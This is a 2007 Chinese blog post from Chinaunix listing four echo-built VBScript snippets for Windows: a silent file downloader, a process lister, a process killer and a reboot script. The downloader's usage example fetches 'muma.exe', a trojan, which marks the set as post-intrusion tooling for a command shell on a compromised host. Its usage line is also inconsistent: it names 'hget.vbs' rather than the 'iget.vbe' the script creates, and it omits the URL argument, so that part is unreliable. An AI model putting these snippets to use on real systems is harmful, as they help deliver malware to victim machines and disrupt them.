Chinaunix首页 | 论坛 | 博客
  • 博客访问: 364697
  • 博文数量: 83
  • 博客积分: 2213
  • 博客等级: 大尉
  • 技术积分: 835
  • 用 户 组: 普通用户
  • 注册时间: 2006-03-16 20:26
文章分类

全部博文(83)

文章存档

2015年(1)

2012年(1)

2011年(14)

2007年(20)

2006年(47)

我的朋友

分类: WINDOWS

2007-09-29 21:35:14

1.文件下载(无回显)
  echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
  echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
  echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
  echo xPost.Open "GET",iRemote,0 >>iget.vbe
  echo xPost.Send() >>iget.vbe
  echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
  echo sGet.Mode = 3 >>iget.vbe
  echo sGet.Type = 1 >>iget.vbe
  echo sGet.Open() >>iget.vbe
  echo sGet.Write(xPost.responseBody) >>iget.vbe
  echo sGet.SaveToFile iLocal,2 >>iget.vbe

  用法: cscript hget.vbs muma.exe


  2.列举进程
  @echo for each ps in getobject _ >ps.vbs
  @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
  @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs

  用法:cscript ps.vbs


  3.终止进程
  @echo for each ps in getobject _ >pskill.vbs
  @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs
  @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs

  用法:cscript pskill.vbs pid


  4.重启系统
  @echo for each os in getobject _ >reboot.vbs
  @echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs
  @echo os.win32shutdown(2):next >>reboot.vbs

  用法:cscript reboot.vbs
阅读(2056) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~